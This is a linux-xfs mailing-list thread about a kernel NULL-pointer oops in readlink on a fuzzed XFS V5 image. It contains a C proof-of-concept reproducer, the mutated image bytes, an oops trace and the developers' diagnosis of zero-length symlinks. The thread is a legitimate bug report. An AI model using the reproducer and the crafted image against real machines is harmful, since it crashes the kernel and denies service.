Kernel oops at NULL pointer when performing readlink on a fuzzed v5 image

Kernel oops at NULL pointer when performing readlink on a fuzzed v5 image

[Xu, Wen]

Hi,

Here is an issue I found when fuzzing V5 filesystem related with softlink.

- Reproduce (4.17/for-next branch)
# mkdir mnt
# mount -t xfs final.img mnt
# gcc -o poc poc.c
# ./poc ./mnt

- POC (poc.c)
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/xattr.h>

#include <dirent.h>
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <linux/falloc.h>
#include <linux/loop.h>

// derived from https://github.com/oracle/kernel-fuzzing/blob/master/include/mount.hh
static void activity(char *mpoint) {

  char *foo_bar_baz;
  char *sln;
  int err;

  static int buf[8192];
  memset(buf, 0, sizeof(buf));

  err = asprintf(&foo_bar_baz, "%s/foo/bar/baz", mpoint);
  err = asprintf(&sln, "%s/foo/bar/sln", mpoint);

  int fd = open(foo_bar_baz, O_RDWR | O_TRUNC, 0777);
  if (fd >= 0) {
    write(fd, (char *)buf, 517);
    write(fd, (char *)buf, sizeof(buf));
    close(fd);
  }

  unlink(foo_bar_baz);

  char buf2[113];
  memset(buf2, 0, sizeof(buf2));
  readlink(sln, buf2, sizeof(buf2));

}

int main(int argc, char *argv[]) {
  activity(argv[1]);
  return 0;
}

- Kernel message
[  315.207956] XFS (loop0): Mounting V5 Filesystem
[  315.214851] XFS (loop0): Ending clean mount
[  315.214976] Filesystem "loop0": reserve blocks depleted! Consider increasing reserve pool size.
[  315.214979] XFS (loop0): Per-AG reservation for AG 0 failed.  Filesystem may run out of space.
[  315.214981] XFS (loop0): Per-AG reservation for AG 0 failed.  Filesystem may run out of space.
[  326.041728] XFS (loop0): Failed to remove inode(s) from unlinked list. Please free space, unmount and run xfs_repair.
[  326.041877] BUG: unable to handle kernel NULL pointer dereference at 0000000000000000
[  326.043479] PGD 800000023376b067 P4D 800000023376b067 PUD 22d37c067 PMD 0
[  326.044864] Oops: 0000 [#1] SMP PTI
[  326.045582] Modules linked in: snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hwdep snd_hda_core snd_pcm snd_timer snd soundcore i2c_piix4 mac_hid ib_iser rdma_cm iw_cm ib_cm ib_core iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi autofs4 raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx raid1 raid0 multipath linear qxl drm_kms_helper syscopyarea sysfillrect sysimgblt fb_sys_fops ttm drm crct10dif_pclmul crc32_pclmul 8139too aesni_intel aes_x86_64 crypto_simd cryptd glue_helper floppy pata_acpi 8139cp mii
[  326.055084] CPU: 1 PID: 1329 Comm: poc Not tainted 4.17.0-rc7-no-kasan+ #1
[  326.056448] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[  326.058363] RIP: 0010:strlen+0x0/0x20
[  326.059098] RSP: 0018:ffffa11780c7fe48 EFLAGS: 00010207
[  326.060142] RAX: 0000000000000000 RBX: 0000000000000071 RCX: 0000000000000017
[  326.061538] RDX: 0000000000000000 RSI: 0000000000000071 RDI: 0000000000000000
[  326.062941] RBP: ffffa11780c7fe68 R08: 0000000000026ce0 R09: ffffffff9627a1d4
[  326.064370] R10: ffffa11780c7fea0 R11: ffff8d9e2fc4a200 R12: 0000000000000000
[  326.065781] R13: 00007ffe63bd34b0 R14: 00007ffe63bd34b0 R15: 0000000000000071
[  326.067185] FS:  00007f60d48b4700(0000) GS:ffff8d9e3fd00000(0000) knlGS:0000000000000000
[  326.068786] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  326.069922] CR2: 0000000000000000 CR3: 00000002300e6000 CR4: 00000000000006e0
[  326.071643] Call Trace:
[  326.072217]  ? readlink_copy+0x29/0x50
[  326.072988]  vfs_readlink+0x66/0x130
[  326.073709]  do_readlinkat+0xfa/0x120
[  326.074443]  __x64_sys_readlink+0x1f/0x30
[  326.075264]  do_syscall_64+0x5a/0x110
[  326.076018]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  326.077026] RIP: 0033:0x7f60d43c7a37
[  326.077735] RSP: 002b:00007ffe63bd33c8 EFLAGS: 00000202 ORIG_RAX: 0000000000000059
[  326.079205] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f60d43c7a37
[  326.080607] RDX: 0000000000000071 RSI: 00007ffe63bd34b0 RDI: 0000000001c42100
[  326.081995] RBP: 00007ffe63bd3530 R08: 0000000000000002 R09: 0000000000000001
[  326.083385] R10: 000000000000058b R11: 0000000000000202 R12: 0000000000400c20
[  326.084784] R13: 00007ffe63bd3630 R14: 0000000000000000 R15: 0000000000000000
[  326.086172] Code: 89 f8 48 89 e5 f6 82 c0 ce 10 97 20 74 10 48 83 c0 01 0f b6 10 f6 82 c0 ce 10 97 20 75 f0 5d c3 90 66 2e 0f 1f 84 00 00 00 00 00 <80> 3f 00 55 48 89 e5 74 11 48 89 f8 48 83 c0 01 80 38 00 75 f7
[  326.089834] RIP: strlen+0x0/0x20 RSP: ffffa11780c7fe48
[  326.090838] CR2: 0000000000000000
[  326.091566] ---[ end trace c50eae73b71ba45e ]—

Files:
final.img.zip: https://bugzilla.kernel.org/attachment.cgi?id=276639

For debugging convenience, here are the bytes mutated from the original seed image.
$ cmp -l final.img xfs-1ag-crc.img | gawk '{printf "%08X %02X %02X\n", $1, strtonum(0$2), strtonum(0$3)}'
00000097 00 01
00000098 00 34
000000E1 5F E5
000000E2 29 CF
000000E3 75 BB
000000E4 42 15
00EBC865 38 59
00EBC866 58 84
00EBC867 FC 41
00EBC868 E0 6D
00EBC8C1 E9 E5

-Wen 

Re: Kernel oops at NULL pointer when performing readlink on a fuzzed v5 image

[Dave Chinner]

On Mon, Jun 18, 2018 at 03:49:52AM +0000, Xu, Wen wrote:
> Hi,
> 
> Here is an issue I found when fuzzing V5 filesystem related with softlink.
> 
> - Reproduce (4.17/for-next branch)
> # mkdir mnt
> # mount -t xfs final.img mnt
> # gcc -o poc poc.c
> # ./poc ./mnt

This does not reproduce on my local dev tree.

This is as much output as I get:

> [  315.207956] XFS (loop0): Mounting V5 Filesystem
> [  315.214851] XFS (loop0): Ending clean mount
> [  315.214976] Filesystem "loop0": reserve blocks depleted! Consider increasing reserve pool size.
> [  315.214979] XFS (loop0): Per-AG reservation for AG 0 failed.  Filesystem may run out of space.
> [  315.214981] XFS (loop0): Per-AG reservation for AG 0 failed.  Filesystem may run out of space.
> [  326.041728] XFS (loop0): Failed to remove inode(s) from unlinked list. Please free space, unmount and run xfs_repair.

i.e. Nothing unexpected fails, I get ENOENT as expected once the baz
-> ./baz symlink loop has been removed.

Ok, now I'm betting that this has something to do with zero length
symlinks not being caught correctly, given that a) we identified
this flaw a few days ago, b) strlen(symlink_data_ptr) gets a
null dereference indicating an empty symlink is being read, and c)
there's a warning about failing to remove an inode from the unlinked
list and that can leave symlinks with a zeroed in-memory data fork.

Ok, so lets try a plain 4.17 + xfs/for-next. Yup, that does indeed
fail.

IOWs, the patch I wrote a few hours ago to prevent zero length
symlinks from hitting the disk by not screwing with the inline inode
data fork until the inode has been pulled from the unlinked list
prevents the crash from occurring.

Cheers,

Dave.
-- 
Dave Chinner
david@fromorbit.com

Re: Kernel oops at NULL pointer when performing readlink on a fuzzed v5 image

[Xu, Wen]

Hi Dave,

Where is the corresponding patch for this issue..has it been committed to for-next branch so far?

Thanks,
Wen

> On Jun 18, 2018, at 1:21 AM, Dave Chinner <david@fromorbit.com> wrote:
> 
> On Mon, Jun 18, 2018 at 03:49:52AM +0000, Xu, Wen wrote:
>> Hi,
>> 
>> Here is an issue I found when fuzzing V5 filesystem related with softlink.
>> 
>> - Reproduce (4.17/for-next branch)
>> # mkdir mnt
>> # mount -t xfs final.img mnt
>> # gcc -o poc poc.c
>> # ./poc ./mnt
> 
> This does not reproduce on my local dev tree.
> 
> This is as much output as I get:
> 
>> [  315.207956] XFS (loop0): Mounting V5 Filesystem
>> [  315.214851] XFS (loop0): Ending clean mount
>> [  315.214976] Filesystem "loop0": reserve blocks depleted! Consider increasing reserve pool size.
>> [  315.214979] XFS (loop0): Per-AG reservation for AG 0 failed.  Filesystem may run out of space.
>> [  315.214981] XFS (loop0): Per-AG reservation for AG 0 failed.  Filesystem may run out of space.
>> [  326.041728] XFS (loop0): Failed to remove inode(s) from unlinked list. Please free space, unmount and run xfs_repair.
> 
> i.e. Nothing unexpected fails, I get ENOENT as expected once the baz
> -> ./baz symlink loop has been removed.
> 
> Ok, now I'm betting that this has something to do with zero length
> symlinks not being caught correctly, given that a) we identified
> this flaw a few days ago, b) strlen(symlink_data_ptr) gets a
> null dereference indicating an empty symlink is being read, and c)
> there's a warning about failing to remove an inode from the unlinked
> list and that can leave symlinks with a zeroed in-memory data fork.
> 
> Ok, so lets try a plain 4.17 + xfs/for-next. Yup, that does indeed
> fail.
> 
> IOWs, the patch I wrote a few hours ago to prevent zero length
> symlinks from hitting the disk by not screwing with the inline inode
> data fork until the inode has been pulled from the unlinked list
> prevents the crash from occurring.
> 
> Cheers,
> 
> Dave.
> -- 
> Dave Chinner
> david@fromorbit.com

Re: Kernel oops at NULL pointer when performing readlink on a fuzzed v5 image

[Darrick J. Wong]

On Fri, Jun 29, 2018 at 05:04:08PM +0000, Xu, Wen wrote:
> Hi Dave,
> 
> Where is the corresponding patch for this issue..has it been committed to for-next branch so far?

IIRC the corresponding patch submission is "xfs: zero length symlinks
are not valid", which (the last time I saw thread activity) he said he'd
clean up and resubmit. (?)

(Under the weather a little still)

--D

> 
> Thanks,
> Wen
> 
> > On Jun 18, 2018, at 1:21 AM, Dave Chinner <david@fromorbit.com> wrote:
> > 
> > On Mon, Jun 18, 2018 at 03:49:52AM +0000, Xu, Wen wrote:
> >> Hi,
> >> 
> >> Here is an issue I found when fuzzing V5 filesystem related with softlink.
> >> 
> >> - Reproduce (4.17/for-next branch)
> >> # mkdir mnt
> >> # mount -t xfs final.img mnt
> >> # gcc -o poc poc.c
> >> # ./poc ./mnt
> > 
> > This does not reproduce on my local dev tree.
> > 
> > This is as much output as I get:
> > 
> >> [  315.207956] XFS (loop0): Mounting V5 Filesystem
> >> [  315.214851] XFS (loop0): Ending clean mount
> >> [  315.214976] Filesystem "loop0": reserve blocks depleted! Consider increasing reserve pool size.
> >> [  315.214979] XFS (loop0): Per-AG reservation for AG 0 failed.  Filesystem may run out of space.
> >> [  315.214981] XFS (loop0): Per-AG reservation for AG 0 failed.  Filesystem may run out of space.
> >> [  326.041728] XFS (loop0): Failed to remove inode(s) from unlinked list. Please free space, unmount and run xfs_repair.
> > 
> > i.e. Nothing unexpected fails, I get ENOENT as expected once the baz
> > -> ./baz symlink loop has been removed.
> > 
> > Ok, now I'm betting that this has something to do with zero length
> > symlinks not being caught correctly, given that a) we identified
> > this flaw a few days ago, b) strlen(symlink_data_ptr) gets a
> > null dereference indicating an empty symlink is being read, and c)
> > there's a warning about failing to remove an inode from the unlinked
> > list and that can leave symlinks with a zeroed in-memory data fork.
> > 
> > Ok, so lets try a plain 4.17 + xfs/for-next. Yup, that does indeed
> > fail.
> > 
> > IOWs, the patch I wrote a few hours ago to prevent zero length
> > symlinks from hitting the disk by not screwing with the inline inode
> > data fork until the inode has been pulled from the unlinked list
> > prevents the crash from occurring.
> > 
> > Cheers,
> > 
> > Dave.
> > -- 
> > Dave Chinner
> > david@fromorbit.com
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-xfs" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html